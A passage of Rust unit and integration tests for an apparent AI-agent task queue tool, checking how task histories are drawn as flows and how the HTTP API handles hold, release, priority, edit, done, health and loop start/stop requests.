9106 let mut t = Task::new(
9107 "t".to_owned(),
9108 "Do it".to_owned(),
9109 PathBuf::from("/repo/magi"),
9110 Source::Human,
9111 );
9112 for r in runs {
9113 t.start((*r).to_owned());
9114 }
9115 t
9116 }
9117
9118 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9119 let h = task_history(task, |id| {
9120 states
9121 .iter()
9122 .find(|(i, _)| *i == id)
9123 .and_then(|(_, s)| s.clone())
9124 });
9125 task_flow(task, &h, 5)
9126 }
9127
9128 #[test]
9129 fn flow_opens_with_the_chat_that_queued_the_task() {
9130 let mut t = flow_task(&[]);
9131 t.source = Source::Agent {
9132 run: "a b/c".to_owned(),
9133 node: crate::queue::CHAT_NODE.to_owned(),
9134 };
9135 let f = flow_for(&t, &[]);
9136 assert_eq!(f.nodes[0].key, "chat");
9137 assert_eq!(f.nodes[0].kind, "chat");
9138 assert_eq!(
9139 f.nodes[0].label,
9140 format!("Chat {}", crate::queue::short("a b/c"))
9141 );
9142 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9143 assert_eq!(f.nodes[1].key, "start");
9144 assert_eq!(
9145 f.edges[0],
9146 FlowEdge {
9147 from: "chat".to_owned(),
9148 to: "start".to_owned(),
9149 label: "queued from chat".to_owned(),
9150 attempt: AttemptCost::None,
9151 }
9152 );
9153 }
9154
9155 #[test]
9156 fn flow_has_no_chat_box_for_other_sources() {
9157 for source in [
9158 Source::Human,
9159 Source::Issue {
9160 number: 3,
9161 repo: "o/r".to_owned(),
9162 },
9163 Source::Agent {
9164 run: "20260904-014455-ab12".to_owned(),
9165 node: "implement".to_owned(),
9166 },
9167 ] {
9168 let mut t = flow_task(&[]);
9169 t.source = source;
9170 let f = flow_for(&t, &[]);
9171 assert_eq!(f.nodes[0].key, "start");
9172 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9173 assert!(f.edges.iter().all(|e| e.from != "chat"));
9174 }
9175 }
9176
9177 const FA: &str = "20260902-140501-aaaa";
9178 const FB: &str = "20260902-140502-bbbb";
9179
9180 #[test]
9181 fn flow_follows_blocked_retry_merged_to_done() {
9182 let mut t = flow_task(&[FA, FB]);
9183 t.status = TaskStatus::Done;
9184 let f = flow_for(
9185 &t,
9186 &[
9187 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9188 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9189 ],
9190 );
9191 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9192 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9193 assert_eq!(f.edges.len(), 3);
9194 assert_eq!(f.edges[0].label, "claimed");
9195 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9196 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9197 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9198 assert_eq!(
9199 f.nodes[2].href.as_deref(),
9200 Some("#/runs/20260902-140502-bbbb")
9201 );
9202 assert!(f.nodes[2].decided);
9203 }
9204
9205 #[test]
9206 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
9207 let quota = || {
9208 flow_run(RunStatus::Stalled, |s| {
9209 s.quota.push(crate::run::QuotaLoss {
9210 seat: "judge-1".to_owned(),
9211 node: "judge".to_owned(),
9212 at: Timestamp::now(),
9213 reset: None,
9214 })
9215 })
9216 };
9217 let mut t = flow_task(&[FA, FA]);
9218 t.status = TaskStatus::Queued;
9219 let f = flow_for(&t, &[(FA, Some(quota()))]);
9220 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
9221 assert_eq!(f.nodes[1].note, Some("interrupted"));
9222 assert_eq!(
9223 f.nodes[1].status, None,
9224 "no outcome copied onto an earlier pass"
9225 );
9226 assert_eq!(
9227 f.edges[1].attempt,
9228 AttemptCost::Unknown,
9229 "a resume does not prove the earlier pass was refunded"
9230 );
9231 assert!(f.edges[1].label.contains("resume the same run"));
9232 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
9233 assert_eq!(
9234 f.edges[2].label,
9235 "stalled after a resume, refund unknown \u{2192} queued"
9236 );
9237 assert!(!f.nodes[2].decided, "a stall is not a decision");
9238 assert_eq!(f.nodes[2].note, Some("no verdict"));
9239 }
9240
9241 #[test]
9242 fn flow_single_pass_quota_stall_is_refunded() {
9243 let t = flow_task(&[FA]);
9244 let f = flow_for(
9245 &t,
9246 &[(
9247 FA,
9248 Some(flow_run(RunStatus::Stalled, |s| {
9249 s.quota.push(crate::run::QuotaLoss {
9250 seat: "judge-1".to_owned(),
9251 node: "judge".to_owned(),
9252 at: Timestamp::now(),
9253 reset: None,
9254 })
9255 })),
9256 )],
9257 );
9258 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9259 }
9260
9261 #[test]
9262 fn flow_parked_refunds_and_stall_without_quota_spends() {
9263 let mut t = flow_task(&[FA]);
9264 t.status = TaskStatus::Queued;
9265 let f = flow_for(
9266 &t,
9267 &[(
9268 FA,
9269 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
9270 )],
9271 );
9272 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
9273 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
9274 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
9275 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9276 assert!(!f.nodes[1].decided);
9277 }
9278
9279 #[test]
9280 fn flow_keeps_an_unreadable_run_as_its_own_node() {
9281 let t = flow_task(&[FA, FB]);
9282 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
9283 assert_eq!(f.nodes[1].note, Some("unreadable"));
9284 assert!(!f.nodes[1].readable);
9285 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
9286 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
9287 }
9288
9289 #[test]
9290 fn flow_names_the_branch_of_a_review_only_run() {
9291 let t = flow_task(&[FA]);
9292 let f = flow_for(
9293 &t,
9294 &[(
9295 FA,
9296 Some(flow_run(RunStatus::Merged, |s| {
9297 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
9298 })),
9299 )],
9300 );
9301 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
9302 assert_eq!(
9303 f.nodes[1].detail.as_deref(),
9304 Some("review-only run of branch magi/x/A")
9305 );
9306 }
9307
9308 #[test]
9309 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
9310 let mut t = flow_task(&[FA]);
9311 t.status = TaskStatus::Held;
9312 let pr = crate::run::PrRecord {
9313 url: "https://example.test/pr/1".to_owned(),
9314 number: 1,
9315 state: "open".to_owned(),
9316 checks: "green".to_owned(),
9317 round: 0,
9318 rounds: 3,
9319 red_at_merge: Vec::new(),
9320 };
9321 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
9322 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
9323 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
9324 t.status = TaskStatus::Done;
9325 let f = flow_for(&t, &[(FA, Some(blocked))]);
9326 assert_eq!(f.edges[1].label, "closed by hand: task is done");
9327 }
9328
9329 #[test]
9330 fn flow_with_no_runs_goes_from_queued_to_queued() {
9331 let t = flow_task(&[]);
9332 let f = flow_for(&t, &[]);
9333 assert_eq!(f.nodes.len(), 2);
9334 assert_eq!(f.edges.len(), 1);
9335 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
9336 assert_eq!(f.edges[0].attempt, AttemptCost::None);
9337 }
9338
9339 #[test]
9342 fn a_parked_non_terminal_run_is_explained_as_parked() {
9343 let mut s = RunState::new(
9344 PathBuf::from("/repo/magi"),
9345 "main".to_owned(),
9346 "0123456789abcdef".to_owned(),
9347 "Do it".to_owned(),
9348 Config::default(),
9349 );
9350 s.status = RunStatus::Implementing;
9351 s.parked = true;
9352 let task = Task::new(
9353 "t".to_owned(),
9354 "Do it".to_owned(),
9355 PathBuf::from("/repo/magi"),
9356 Source::Human,
9357 );
9358 let v = task_run_view(
9359 "20260902-140501-aaaa",
9360 Some(&s),
9361 RunSlot {
9362 n: 1,
9363 resumed: false,
9364 resumed_later: None,
9365 prior: None,
9366 last: true,
9367 },
9368 &task,
9369 );
9370 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
9371 }
9372
9373 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
9374 let mut s = flow_run(RunStatus::Implementing, edit);
9375 s.parked = false;
9376 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9377 task_run_view(
9378 "20260902-140501-aaaa",
9379 Some(&s),
9380 RunSlot {
9381 n: 1,
9382 resumed: false,
9383 resumed_later: Some(2),
9384 prior: None,
9385 last: false,
9386 },
9387 &task,
9388 )
9389 }
9390
9391 #[test]
9392 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9393 let v = earlier_pass_view(|_| {});
9394 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9395 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9396 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9397 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9398 assert_eq!(v.exit, RunExit::Interrupted);
9399 assert_eq!(v.attempt, AttemptCost::Unknown);
9400 }
9401
9402 #[test]
9403 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9404 let v = earlier_pass_view(|s| {
9405 s.quota.push(crate::run::QuotaLoss {
9406 seat: "judge-1".to_owned(),
9407 node: "judge".to_owned(),
9408 at: Timestamp::now(),
9409 reset: None,
9410 });
9411 });
9412 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9413 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9414 assert_eq!(v.attempt, AttemptCost::Unknown);
9415 }
9416
9417 #[test]
9418 fn the_current_pass_states_its_recorded_cause_and_cost() {
9419 let slot = || RunSlot {
9420 n: 1,
9421 resumed: false,
9422 resumed_later: None,
9423 prior: None,
9424 last: true,
9425 };
9426 let task = flow_task(&["20260902-140501-aaaa"]);
9427 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9428 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9429 assert_eq!(
9430 (v.exit, v.attempt),
9431 (RunExit::Parked, AttemptCost::Refunded)
9432 );
9433 let spent = flow_run(RunStatus::Blocked, |_| {});
9434 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9435 assert_eq!(v.attempt, AttemptCost::Spent);
9436 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9437 }
9438
9439 #[tokio::test]
9440 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9441 let f = Fixture::start().await;
9442 let queue = f.queue();
9443 let mut task = Task::new(
9444 "spent".to_owned(),
9445 "Try again".to_owned(),
9446 PathBuf::from("/repo/magi"),
9447 Source::Human,
9448 );
9449 task.start("20260902-140502-bbbb".to_owned());
9450 task.fail("agent gave up", 9);
9451 queue.put(&mut task).expect("file the task");
9452
9453 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9454 assert_eq!(held.status, 200);
9455 assert_eq!(held.json()["status_str"], "held");
9456
9457 let released = f
9458 .post(&format!("/api/queue/{}/release", task.id), None)
9459 .await;
9460 assert_eq!(released.status, 200);
9461 assert_eq!(released.json()["status_str"], "queued");
9462 assert_eq!(
9463 released.json()["attempts"],
9464 0,
9465 "release is a real second chance, not an instant re-hold"
9466 );
9467 assert_eq!(
9468 queue.get(&task.id).expect("reload").status,
9469 TaskStatus::Queued,
9470 "the change is on disk, not only in the reply"
9471 );
9472 assert!(
9473 !f.home
9474 .path()
9475 .join("queue")
9476 .join(format!("{}.lock", task.id))
9477 .exists(),
9478 "the claim the mutation took is released again"
9479 );
9480 }
9481
9482 #[tokio::test]
9483 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9484 let f = Fixture::start().await;
9485 let queue = f.queue();
9486 let mut task = Task::new(
9487 "busy".to_owned(),
9488 "Running right now".to_owned(),
9489 PathBuf::from("/repo/magi"),
9490 Source::Human,
9491 );
9492 queue.put(&mut task).expect("file the task");
9493 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9494
9495 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9496
9497 assert_eq!(res.status, 409);
9498 assert_eq!(
9499 queue.get(&task.id).expect("reload").status,
9500 TaskStatus::Queued,
9501 "the refused hold changed nothing"
9502 );
9503 }
9504
9505 #[tokio::test]
9506 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9507 let f = Fixture::start().await;
9508 let queue = f.queue();
9509 let mut task = Task::new(
9510 "waiting on the migration".to_owned(),
9511 "Do the thing".to_owned(),
9512 PathBuf::from("/repo/magi"),
9513 Source::Human,
9514 );
9515 queue.put(&mut task).expect("file the task");
9516
9517 let held = f
9518 .post(
9519 &format!("/api/queue/{}/hold", task.id),
9520 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9521 )
9522 .await;
9523 assert_eq!(held.status, 200, "{}", held.body);
9524 assert_eq!(held.json()["status_str"], "held");
9525 assert_eq!(
9526 held.json()["hold_reason"],
9527 "waiting for 20260101-000000-aaaa to land"
9528 );
9529
9530 let listed = f.get("/api/queue").await.json();
9531 assert_eq!(
9532 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9533 "the card reads the reason off the same list route"
9534 );
9535
9536 let mut plain = Task::new(
9539 "no reason given".to_owned(),
9540 "Do another thing".to_owned(),
9541 PathBuf::from("/repo/magi"),
9542 Source::Human,
9543 );
9544 queue.put(&mut plain).expect("file the task");
9545 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9546 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9547 assert!(held_plain.json()["hold_reason"].is_null());
9548
9549 let released = f
9550 .post(&format!("/api/queue/{}/release", task.id), None)
9551 .await;
9552 assert_eq!(released.status, 200);
9553 assert!(
9554 released.json()["hold_reason"].is_null(),
9555 "a release must clear the reason so the next hold does not inherit it"
9556 );
9557 }
9558
9559 #[tokio::test]
9560 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9561 let f = Fixture::start().await;
9562 let queue = f.queue();
9563 let mut older = Task::new(
9564 "filed first".to_owned(),
9565 "x".to_owned(),
9566 PathBuf::from("/repo/magi"),
9567 Source::Human,
9568 );
9569 older.id = "20260101-000001-aaaa".to_owned();
9570 let mut newer = Task::new(
9571 "filed second".to_owned(),
9572 "x".to_owned(),
9573 PathBuf::from("/repo/magi"),
9574 Source::Human,
9575 );
9576 newer.id = "20260101-000002-bbbb".to_owned();
9577 queue.put(&mut older).expect("file older");
9578 queue.put(&mut newer).expect("file newer");
9579
9580 let before = f.get("/api/queue").await.json();
9583 assert_eq!(before[0]["id"], newer.id);
9584 assert_eq!(before[1]["id"], older.id);
9585
9586 let raised = f
9590 .post(
9591 &format!("/api/queue/{}/priority", older.id),
9592 Some(r#"{"priority":10}"#),
9593 )
9594 .await;
9595 assert_eq!(raised.status, 200, "{}", raised.body);
9596 assert_eq!(raised.json()["priority"], 10);
9597
9598 let after = f.get("/api/queue").await.json();
9599 let names: Vec<&str> = after
9600 .as_array()
9601 .unwrap()
9602 .iter()
9603 .map(|t| t["id"].as_str().unwrap())
9604 .collect();
9605 assert_eq!(names[0], older.id, "the raised task now sorts first");
9609 }
9610
9611 #[tokio::test]
9612 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9613 let f = Fixture::start().await;
9614 let queue = f.queue();
9615 let mut task = Task::new(
9616 "in flight".to_owned(),
9617 "x".to_owned(),
9618 PathBuf::from("/repo/magi"),
9619 Source::Human,
9620 );
9621 task.start("20260902-140502-bbbb".to_owned());
9622 queue.put(&mut task).expect("file the task");
9623
9624 let res = f
9625 .post(
9626 &format!("/api/queue/{}/priority", task.id),
9627 Some(r#"{"priority":9}"#),
9628 )
9629 .await;
9630 assert_eq!(res.status, 400, "{}", res.body);
9631 assert!(
9632 res.json()["error"]
9633 .as_str()
9634 .is_some_and(|e| e.contains("running")),
9635 "{}",
9636 res.body
9637 );
9638 assert_eq!(
9639 queue.get(&task.id).expect("reload").priority,
9640 0,
9641 "the refused write must not partially apply"
9642 );
9643 }
9644
9645 #[tokio::test]
9646 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9647 let f = Fixture::start().await;
9648 let queue = f.queue();
9649 let mut task = Task::new(
9650 "old title".to_owned(),
9651 "old instruction".to_owned(),
9652 PathBuf::from("/repo/magi"),
9653 Source::Agent {
9654 run: "20260101-000000-beef".to_owned(),
9655 node: "implement".to_owned(),
9656 },
9657 );
9658 task.runs.push("20260101-000000-beef".to_owned());
9659 queue.put(&mut task).expect("file the task");
9660 let created_at = task.created_at;
9661
9662 let edited = f
9663 .post(
9664 &format!("/api/queue/{}/edit", task.id),
9665 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9666 )
9667 .await;
9668 assert_eq!(edited.status, 200, "{}", edited.body);
9669 let body = edited.json();
9670 assert_eq!(body["title"], "new title");
9671 assert_eq!(body["instruction"], "new instruction");
9672 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9673 assert_eq!(body["created_at"], created_at.to_string());
9674 assert_eq!(
9675 body["source"]["kind"], "agent",
9676 "editing a task an agent filed must not turn it human: {body}"
9677 );
9678 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9679
9680 let reloaded = queue.get(&task.id).expect("reload");
9681 assert_eq!(reloaded.title, "new title");
9682 assert_eq!(reloaded.instruction, "new instruction");
9683 }
9684
9685 #[tokio::test]
9686 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9687 let f = Fixture::start().await;
9688 let queue = f.queue();
9689 let mut owner = Task::new(
9690 "owner".to_owned(),
9691 "review it".to_owned(),
9692 PathBuf::from("/repo/magi"),
9693 Source::Human,
9694 );
9695 owner.review_branch = Some("magi/ab12/A".to_owned());
9696 queue.put(&mut owner).expect("file the owner");
9697 let mut task = Task::new(
9698 "draft".to_owned(),
9699 "old".to_owned(),
9700 PathBuf::from("/repo/magi"),
9701 Source::Human,
9702 );
9703 queue.put(&mut task).expect("file the draft");
9704 let url = format!("/api/queue/{}/edit", task.id);
9705
9706 let refused = f
9707 .post(
9708 &url,
9709 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9710 )
9711 .await;
9712 assert_eq!(refused.status, 409, "{}", refused.body);
9713 let msg = refused.json()["error"]
9714 .as_str()
9715 .unwrap_or_default()
9716 .to_owned();
9717 assert!(
9718 msg.contains("magi/ab12/A") && msg.contains("force"),
9719 "{msg}"
9720 );
9721 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9722
9723 let forced = f
9724 .post(
9725 &url,
9726 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9727 )
9728 .await;
9729 assert_eq!(forced.status, 200, "{}", forced.body);
9730 }
9731
9732 #[tokio::test]
9733 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9734 let f = Fixture::start().await;
9735 let queue = f.queue();
9736 let mut task = Task::new(
9737 "in flight".to_owned(),
9738 "do not touch".to_owned(),
9739 PathBuf::from("/repo/magi"),
9740 Source::Human,
9741 );
9742 task.start("20260902-140502-bbbb".to_owned());
9743 queue.put(&mut task).expect("file the task");
9744
9745 let res = f
9746 .post(
9747 &format!("/api/queue/{}/edit", task.id),
9748 Some(r#"{"title":"x","instruction":"y"}"#),
9749 )
9750 .await;
9751 assert_eq!(res.status, 400, "{}", res.body);
9752 assert!(
9753 res.json()["error"]
9754 .as_str()
9755 .is_some_and(|e| e.contains("running")),
9756 "{}",
9757 res.body
9758 );
9759 assert_eq!(
9760 queue.get(&task.id).expect("reload").instruction,
9761 "do not touch",
9762 "the refused edit must not change the file"
9763 );
9764 }
9765
9766 #[tokio::test]
9767 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9768 let f = Fixture::start().await;
9769 let queue = f.queue();
9770 let mut task = Task::new(
9771 "busy".to_owned(),
9772 "Running right now".to_owned(),
9773 PathBuf::from("/repo/magi"),
9774 Source::Human,
9775 );
9776 queue.put(&mut task).expect("file the task");
9777 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9778
9779 let priority = f
9780 .post(
9781 &format!("/api/queue/{}/priority", task.id),
9782 Some(r#"{"priority":9}"#),
9783 )
9784 .await;
9785 assert_eq!(priority.status, 409, "{}", priority.body);
9786
9787 let edit = f
9788 .post(
9789 &format!("/api/queue/{}/edit", task.id),
9790 Some(r#"{"title":"x","instruction":"y"}"#),
9791 )
9792 .await;
9793 assert_eq!(edit.status, 409, "{}", edit.body);
9794 }
9795
9796 #[tokio::test]
9797 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9798 let f = Fixture::start().await;
9799 let queue = f.queue();
9800 let mut task = Task::new(
9801 "shipped by hand".to_owned(),
9802 "merged outside the loop".to_owned(),
9803 PathBuf::from("/repo/magi"),
9804 Source::Agent {
9805 run: "20260101-000000-b455".to_owned(),
9806 node: "implement".to_owned(),
9807 },
9808 );
9809 task.runs.push("20260101-000000-b455".to_owned());
9810 task.runs.push("20260101-000000-9af4".to_owned());
9811 queue.put(&mut task).expect("file the task");
9812 let created_at = task.created_at;
9813
9814 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9815 assert_eq!(done.status, 200, "{}", done.body);
9816 assert_eq!(done.json()["status_str"], "done");
9817
9818 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9819 assert_eq!(
9820 reloaded.runs,
9821 ["20260101-000000-b455", "20260101-000000-9af4"]
9822 );
9823 assert_eq!(
9824 reloaded.source,
9825 Source::Agent {
9826 run: "20260101-000000-b455".to_owned(),
9827 node: "implement".to_owned(),
9828 }
9829 );
9830 assert_eq!(reloaded.created_at, created_at);
9831 }
9832
9833 #[tokio::test]
9834 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9835 let f = Fixture::start().await;
9840 let queue = f.queue();
9841 let mut task = Task::new(
9842 "landed while held".to_owned(),
9843 "x".to_owned(),
9844 PathBuf::from("/repo/magi"),
9845 Source::Human,
9846 );
9847 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9848 queue.put(&mut task).expect("file the held task");
9849
9850 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9851 assert_eq!(done.status, 200, "{}", done.body);
9852 assert_eq!(done.json()["status_str"], "done");
9853 assert!(
9854 done.json()["hold_reason"].is_null(),
9855 "a done task cannot still be waiting on something: {}",
9856 done.body
9857 );
9858 }
9859
9860 #[tokio::test]
9861 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9862 let f = Fixture::start().await;
9867 let queue = f.queue();
9868 let runs = f.runs();
9869 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9870 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9874
9875 let mut task = Task::new(
9876 "landed by hand".to_owned(),
9877 "x".to_owned(),
9878 PathBuf::from("/repo/magi"),
9879 Source::Human,
9880 );
9881 task.runs.push("20260101-000000-doa1".to_owned());
9882 task.runs.push("20260101-000000-doa2".to_owned());
9883 queue.put(&mut task).expect("file the task");
9884
9885 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9886 assert_eq!(done.status, 200, "{}", done.body);
9887
9888 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9889 .expect("run still on disk under this fixture's own home");
9890 assert_eq!(
9891 reloaded_run.status,
9892 RunStatus::Superseded,
9893 "closing the task by hand must relabel the earlier blocked attempt exactly \
9894 like the loop's own settle path does"
9895 );
9896 }
9897
9898 #[tokio::test]
9899 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9900 let f = Fixture::start().await;
9905 let queue = f.queue();
9906 let runs = f.runs();
9907 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9908 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9909
9910 let mut task = Task::new(
9911 "closed with nothing actually landed".to_owned(),
9912 "x".to_owned(),
9913 PathBuf::from("/repo/magi"),
9914 Source::Human,
9915 );
9916 task.runs.push("20260101-000000-dob1".to_owned());
9917 task.runs.push("20260101-000000-dob2".to_owned());
9918 queue.put(&mut task).expect("file the task");
9919
9920 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9921 assert_eq!(done.status, 200, "{}", done.body);
9922
9923 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9924 .expect("run still on disk under this fixture's own home");
9925 assert_eq!(
9926 reloaded_run.status,
9927 RunStatus::Blocked,
9928 "the last recorded attempt never landed, so the earlier one must not be \
9929 relabelled as superseded by it"
9930 );
9931 }
9932
9933 #[tokio::test]
9934 async fn unknown_ids_are_json_not_found_on_both_stores() {
9935 let f = Fixture::start().await;
9936
9937 let run = f.get("/api/runs/nosuchrun").await;
9938 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9939
9940 assert_eq!(run.status, 404);
9941 assert_eq!(task.status, 404);
9942 assert!(
9943 run.json()["error"]
9944 .as_str()
9945 .is_some_and(|e| e.contains("run")),
9946 "the error names what was not found: {}",
9947 run.body
9948 );
9949 assert!(
9950 task.json()["error"]
9951 .as_str()
9952 .is_some_and(|e| e.contains("task")),
9953 "the error names what was not found: {}",
9954 task.body
9955 );
9956 }
9957
9958 #[tokio::test]
9959 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9960 let f = Fixture::start().await;
9961
9962 let missing = f.get("/api/health").await.json();
9963 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9964
9965 write_daemon(
9966 f.home.path(),
9967 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9968 );
9969 let stale = f.get("/api/health").await.json();
9970 assert_eq!(
9971 stale["daemon"]["running"], false,
9972 "a minute without a heartbeat is a dead daemon, not a busy one"
9973 );
9974 assert!(
9975 stale["daemon"]["stale_for_secs"]
9976 .as_i64()
9977 .is_some_and(|s| s >= 55),
9978 "staleness is reported so the UI can say how long: {stale}"
9979 );
9980
9981 write_daemon(f.home.path(), Timestamp::now());
9982 let fresh = f.get("/api/health").await.json();
9983 assert_eq!(fresh["daemon"]["running"], true);
9984 assert_eq!(fresh["daemon"]["idle"], false);
9985 assert_eq!(fresh["daemon"]["pid"], 4242);
9986 assert_eq!(fresh["daemon"]["completed"], 7);
9987 assert_eq!(
9988 fresh["daemon"]["current"][0]["task"],
9989 "20260902-140501-aaaa"
9990 );
9991 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9992 }
9993
9994 #[tokio::test]
9995 async fn the_loop_is_not_running_until_something_starts_it() {
9996 let f = Fixture::start().await;
9997
9998 let view = f.get("/api/loop").await.json();
9999 assert_eq!(view["running"], false);
10000 assert_eq!(
10001 view["owned"], false,
10002 "nobody owns a loop that does not exist: {view}"
10003 );
10004 assert_eq!(view["stopping"], false);
10005 assert_eq!(view["last_error"], Value::Null);
10006 assert_eq!(view["daemon"]["running"], false);
10007 assert_eq!(
10008 view["repo"], "/repo/magi",
10009 "the repository a start would use, named before it is started"
10010 );
10011 }
10012
10013 #[tokio::test]
10014 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10015 let f = Fixture::start().await;
10016
10017 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10018 assert_eq!(res.status, 200, "{}", res.body);
10019 let view = res.json();
10020 assert_eq!(view["running"], true);
10021 assert_eq!(
10022 view["owned"], true,
10023 "the loop the UI started is the UI's own to stop: {view}"
10024 );
10025 assert_eq!(
10026 view["merge"],
10027 Value::Null,
10028 "no override was given, so each repository's own config decides"
10029 );
10030
10031 let health = f.get("/api/health").await.json();
10035 assert_eq!(health["loop"]["running"], true, "{health}");
10036 assert_eq!(health["loop"]["owned"], true, "{health}");
10037
10038 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10039 }
10040
10041 #[tokio::test]
10042 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10043 let f = Fixture::start().await;
10044 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10045 assert_eq!(first.status, 200, "{}", first.body);
10046
10047 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10048 assert_eq!(
10049 again.status, 409,
10050 "two loops on one queue race for the same claims: {}",
10051 again.body
10052 );
10053 assert!(
10054 again.json()["error"]
10055 .as_str()
10056 .is_some_and(|e| e.contains("already running the loop")),
10057 "the refusal has to say why: {}",
10058 again.body
10059 );
10060 assert_eq!(
10061 f.get("/api/loop").await.json()["running"],
10062 true,
10063 "and the loop that was already running is untouched by it"
10064 );
10065
10066 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10067 }
10068
10069 #[tokio::test]
10070 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10071 let f = Fixture::start().await;
10072 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10073
10074 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10075 assert_eq!(
10076 res.status, 200,
10077 "the answer must not wait for the loop: a run in flight is tens of \
10078 minutes and the operator is holding a phone: {}",
10079 res.body
10080 );
10081
10082 let view = settled(&f, |v| v["running"] == false).await;
10083 assert_eq!(view["owned"], false);
10084 assert_eq!(
10085 view["stopping"], false,
10086 "a loop that has stopped is not still stopping: {view}"
10087 );
10088 assert_eq!(
10089 view["last_error"],
10090 Value::Null,
